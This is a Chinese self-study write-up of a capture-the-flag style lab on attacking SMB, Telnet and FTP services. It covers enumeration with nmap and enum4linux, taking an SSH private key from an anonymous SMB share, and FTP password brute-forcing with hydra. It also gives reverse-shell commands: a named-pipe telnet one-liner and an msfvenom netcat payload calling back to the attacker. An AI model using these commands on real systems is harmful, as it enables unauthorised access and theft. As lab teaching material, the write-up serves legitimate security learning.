前言(每日一遍):
“初闻不明劝离意,回头已是提桶人”
(本贴为自学记录贴)
在食用前确保有以下基础(精选贴)
一、SMB
哲学两大问:
- 是什么:一种客户端-服务器通信协议,用于共享对网络上的文件、打印机、串行端口和其他资源的访问(相当于可以在网络上访问文件、打印机等),常见端口是445。
- 为什么要学:因为此协议可以让我们访问网络上的文件,如果可以对SMB“合理”利用,是否就可以通过此协议访问到一些别人不想我们看到的文件呢?甚至通过此协议进入存储文件的服务器!
(一)扫描枚举
枚举属于是侦查的阶段,只有发现目标才能深入了解目标
nmap -A -vv -T4 10.10.22.247
发现目标,445端口,samba服务器及其版本(samba服务器是支持SMB协议的开源服务器)
此处发现了smb开放,接下来我们还需要进一步对smb的信息进行收集(因为smb负责文件共享等信息,因此对smb进行信息收集可能可以获取到文件拥有者的用户名或者用户密码)。
在这里有一款专门针对smb协议进行扫描的工具Enum4linux(github),nmap也可以进行smb扫描,不过要用到nmap的脚本使用,会比较麻烦,也可自行尝试。
使用方法:
enum4linux [options] ip
-U get userlist
-M get machine list
-N get namelist dump (different from -U and-M)
-S get sharelist
-P get password policy information
-G get group and member list↳-a all of the above (full basic enumeration)
获得了已知用户名,共享的组名
获取了系统的版本号 获取了共享的文件有哪些(这里比较让人注意的是profiles配置文件)
当然获取到的信息不止这些,这些只是我认为有用的一部分。从获取到了系统版本号及之前nmap获取到的smb版本号之后其实就可以通过查看该版本是否存在漏洞,然后在exploit-db上搜查漏洞进行利用
但是这里我们尝试看是否目标服务器存在smb登录的错误配置——即是否允许匿名登录。
这里我们使用smbclient尝试登录,详情查看(这里)
常见参数说明:
-U [name] : 用户名
-p [port] : 特定端口(默认445)
-N:无密码登录
由于我们之前扫描到一个感觉有用的共享文件为profiles文件,所以我们用smbclient连接到该文件进行查看
smbclient //10.10.22.247/profiles -U Anonymous -N -p 445
成功登录,接着我们就可以该文件内有什么内容了
发现了一个.ssh文件以及一个Working From Home Information.txt的文件。在Linux系统中,`.ssh`目录通常用于存储用户的SSH (Secure Shell)配置和密钥文件。SSH是一种加密的网络通信协议,用于在不安全的网络中安全地管理远程计算机。
在`.ssh`目录中,常见的文件包括:
- 'authorized_keys ∵:包含允许通过SSH密钥进行身份验证的公钥列表。如果你想通过SSH密钥进行登录,你的公钥应该添加到这个文件中。
- 'id_rsa`和`id_rsa.pub`:这是用户的私钥和公钥文件对。私钥应该保持机密,而公钥可以分享给其他人,以便他们可以将其添加到他们的‘authorized_keys'文件中,从而允许你通过SSH连接到他们的系统。
- 'known_hosts∵:包含已知主机的公钥,用于验证远程主机的身份。这有助于防止中间人攻击。
对我们而言比较有用的是 id_rsa文件,该文件可以帮助我们无需密码通过ssh登录服务器(查看这里)。
我们使用以下命令可以从smb共享文件上下载该.ssh目录下的id_rsa以及“Working From Home Information.txt”文件
smbclient //<IP_ADDRESS>/<SHARE_NAME> -U <USERNAME>%<PASSWORD> -c 'get "Working From Home Information.txt" "localfile"'
阅读这个文件发现这个服务器的主人可能叫Cactus,这对我们后面登录ssh提供了一个必要的参数(也可以在公钥中查找用户名)
下面我们下载id_rsa文件
(二)利用信息
下载完毕后就可以使用私钥进行ssh登录了,但是前提是把id_rsa的权限改为600(SSH对私钥文件有一定的权限要求,它要求私钥文件的权限不要过于宽松,一般应该是只有文件拥有者具有读写权限)。
使用id_rsa及刚才我们发现的用户名下面我们就可以进行ssh登录了
ssh -i id_rsa cactus@10.10.231.104
登录后就拿到flag了
二、Telnet
- 是什么:Telnet是一种应用程序协议,它允许您使用telnet客户端连接到托管telnet服务器的远程计算机并在其上执行命令。telnet客户端将与服务器建立连接。然后,客户端将成为一个虚拟终端——允许您与远程主机交互,常见23端口。
- 为什么要学:如果我们能通过telnet连接到服务器,就能和服务器进行交互(换而言之相当于控制了服务器)
(一)扫描枚举
nmap -T4 -A -vv -p- 10.10.4.204
根据题目告知,该8012端口是telnet的端口,可以使用以下命令进行telnet登录
telnet [ip] [port]
在登录telnet后(并非所有telnet都不需要密码和账户名,这里特殊)发现运行命令当前我们的终端没有反应,因此有可能是命令实际已经执行,但是没有交互式显示,因此我们在这里试着反弹shell,看看命令是否真的执行了([什么是shell?][反弹shell?])。
(二)反弹shell
这里我们使用
mknod a p; telnet [localip] 2333 0<a | /bin/bash 1>a
发现没作用,我们使用接下来尝试在telnet服务器上对本机进行ping操作,然后监听本机网口,看是否有ICMP协议的ping传过来
tcpdump ip proto \\icmp -i tun0 #tun0是本地网口,这个操作用来捕获在tun0接口上的ICMP协议的数据包。
表示命令确实执行了但是没有回显,接下来我们将使用更专业的生成反弹shell的工具 msfvenom 生成一个反向 shell 负载(目标主机安装了netcat【netcat】)。这将为我们生成并编码一个 netcat 反向 shell(Msfvenom是Metasploit框架中的一个工具,用于生成各种类型的恶意软件载荷(payloads),它是msfpayload和msfencode两个工具的综合)
msfvenom -p cmd/unix/reverse_netcat lhost=[local tun0 ip] lport=2333 R
#该命令使用msfvenom工具生成一个用于在目标Unix系统上执行命令的payload。生成的payload将在目标主机上创建一个命名管道(named pipe),然后使用Netcat工具将命令输出重定向到该命名管道。接着,它通过Netcat工具将命令的输入从命名管道中读取,并将输出重定向到另一个文件中。最后,它删除了命名管道。
生成成功,接下来我们将生成的在telnet服务器上执行该反弹shell
成功拿到flag
三、FTP
- 是什么:文件传输协议(FTP),顾名思义,是一种允许通过网络远程传输文件的协议。它使用客户端-服务器模型来做到这一点,FTP客户计算机可将各种类型的文件上传到FTP服务器计算机,FTP客户计算机也可以从FTP服务器计算机下载文件,常见21端口。
- 为什么要学 :因为文件传输协议使用的是客户端-服务器模型,所以如果我们可以通过客户端登录服务器,那么就能查看FTP服务器内部的一些敏感文件,因此如何登录ftp服务器使我们学习它的主要目的。
(一)枚举
nmap -T4 -vv -A 10.10.67.125
从枚举结果我们可以看到,ftp端口开放,同时允许匿名登录。匿名登录给我们创造了一个突破ftp服务器的机会,客户端登录ftp的语法为 "ftp [IP]" ,随后输入账号密码,我们这里的账号为“anonymous”,密码为空
发现有一个文件,注意,在FTP中不支持 cat
命令,可以使用 get
命令将文件下载到本地计算机,然后使用文本编辑器或查看器打开它。
(二)爆破账户
我们了解到这个邮件可能是一个叫Mike的人写的,而这个邮件出现在ftp服务器说明可能Mike是一个ftp服务器的账户名,因此这里我们尝试用Mike作为用户名进行ftp登录的密码爆破,使用的工具为hydra (了解点这里)。
hydra -t 4 -l Mike -P /usr/share/wordlists/rockyou.txt -vV 10.10.67.125 ftp
这里用到了指定字典“rockyou.txt”,这个字典是比较出名的字典wordlists中的一个,具体下载请看这里——这里。
经过爆破得到密码为password(截图略)
使用账户mike,密码password成功登录ftp服务器,找到敏感文件得到flag